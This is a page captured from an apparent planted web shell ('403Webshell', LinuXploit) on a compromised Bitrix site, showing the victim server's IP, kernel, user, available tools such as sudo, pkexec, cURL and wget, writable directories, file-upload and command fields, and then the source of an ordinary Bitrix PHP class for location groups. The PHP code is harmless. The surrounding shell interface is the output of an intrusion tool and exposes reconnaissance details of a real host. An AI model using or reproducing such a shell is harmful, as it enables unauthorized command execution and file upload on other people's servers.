403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/sale/lib/location/admin/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/sale/lib/location/admin/grouphelper.php
<?
/**
 * This class is for internal use only, not a part of public API.
 * It can be changed at any time without notification.
 *
 * @access private
 */

namespace Bitrix\Sale\Location\Admin;

use Bitrix\Sale\Location;

class GroupHelper extends NameHelper
{
	const LIST_PAGE_URL = 'sale_location_group_list.php';
	const EDIT_PAGE_URL = 'sale_location_group_edit.php';

	#####################################
	#### Entity settings
	#####################################

	/**
	* Function returns class name for an attached entity
	* 
	* @return string Entity class name
	*/
	public static function getEntityRoadMap()
	{
		return array(
			'main' => array(
				'name' => 'Bitrix\Sale\Location\Group',
			),
			'name' => array(
				'name' => 'Bitrix\Sale\Location\Name\Group',
				'pages' => array(
					'list' => array(
						'includedColumns' => array('NAME')
					),
					'detail' => array(
						'includedColumns' => array('NAME')
					)
				)
			),
			'link' => array(
				'name' => 'Bitrix\Sale\Location\GroupLocation',
			),
		);
	}

	#####################################
	#### CRUD wrappers
	#####################################

	public static function add($data)
	{
		$loc = $data['LOC'];
		unset($data['LOC']);

		$result = parent::add($data);
		if($result['success'])
		{
			$entityClass = static::getEntityClass('link');
			$loc = self::prepareLinksForSaving($entityClass, $loc);

			$entityClass::resetMultipleForOwner($result['id'], $loc);
		}

		return $result;
	}

	public static function update($gId, $data)
	{
		$loc = $data['LOC'];
		unset($data['LOC']);

		$result = parent::update($gId, $data);
		if($result['success'])
		{
			$entityClass = static::getEntityClass('link');
			$loc = self::prepareLinksForSaving($entityClass, $loc);

			$entityClass::resetMultipleForOwner($gId, $loc);
		}

		return $result;
	}

	public static function updateFields($gId, $data)
	{
		return parent::update($gId, $data);
	}

	public static function delete($gId)
	{
		$result = parent::delete($gId);
		if($result['success'])
		{
			// update also locations
			$entityClass = static::getEntityClass('link');
			$entityClass::deleteAllForOwner($gId); // we should also remove links when removing group (for other entities this is not always so)
		}

		return $result;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit